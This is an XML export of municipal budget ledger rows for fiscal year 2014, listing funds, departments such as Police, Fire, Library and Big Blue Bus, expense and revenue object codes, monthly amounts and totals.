<row _id="9707"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>175250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>175250.0</total></row>
<row _id="9708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-2177.0</july><august>0</august><september>0</september><october>0</october><november>1350.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-827.0</total></row>
<row _id="9709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>33300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33300.0</total></row>
<row _id="9710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>70613.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70613.0</total></row>
<row _id="9711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5195.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>289.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5484.0</total></row>
<row _id="9712"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FUND REIMB FROM PIER FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-192038.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-192038.0</total></row>
<row _id="9713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>400430.0</object><object_description>LIBRARY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
<row _id="9714"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402730.0</object><object_description>SMURRF-CITY OF LA-O &amp; M</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-156825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-156825.0</total></row>
<row _id="9715"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1495.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1495.0</total></row>
<row _id="9716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>600.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4782.0</total></row>
<row _id="9717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7240.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>600.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7840.0</total></row>
<row _id="9718"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1471744.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>98618</december><january>-5623.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1564739.0</total></row>
<row _id="9719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>971302.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>971302.0</total></row>
<row _id="9720"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522912.0</object><object_description>OIL FOR REVENUE EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>153750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>153750.0</total></row>
<row _id="9721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2143.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2143.0</total></row>
<row _id="9722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8364.0</total></row>
<row _id="9723"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>454.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>454.0</total></row>
<row _id="9724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>496523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>496523.0</total></row>
<row _id="9725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24711.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24711.0</total></row>
<row _id="9726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
<row _id="9727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>404760.0</object><object_description>RENT/PROP FEES - KEC</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-2381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2381.0</total></row>
<row _id="9728"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11440.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11440.0</total></row>
<row _id="9729"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2755.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
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<row _id="9755"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29076.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29076.0</total></row>
<row _id="9756"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1729.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1729.0</total></row>
<row _id="9757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>89875.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89875.0</total></row>
<row _id="9758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9711.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9711.0</total></row>
<row _id="9759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4449.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4449.0</total></row>
<row _id="9760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="9761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="9762"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
<row _id="9763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>268735.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>268735.0</total></row>
<row _id="9764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402220.0</object><object_description>CEMETERY MISC SALES / SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-274444.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-274444.0</total></row>
<row _id="9765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-26138.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26138.0</total></row>
<row _id="9766"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-50000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="9767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="9768"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="9769"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="9770"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>351.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>351.0</total></row>
<row _id="9771"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566450.0</object><object_description>SEWAGE PUMP PLANT MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>375000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>375000.0</total></row>
<row _id="9772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>394012.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>394012.0</total></row>
<row _id="9773"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2152073.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>31526</december><january>-289.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2183310.0</total></row>
<row _id="9774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2395940.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2395940.0</total></row>
<row _id="9775"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37068.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37068.0</total></row>
<row _id="9776"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="9777"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>400191.0</object><object_description>STREET PERFORMERS PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-47000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-47000.0</total></row>
<row _id="9778"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="9779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43979.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43979.0</total></row>
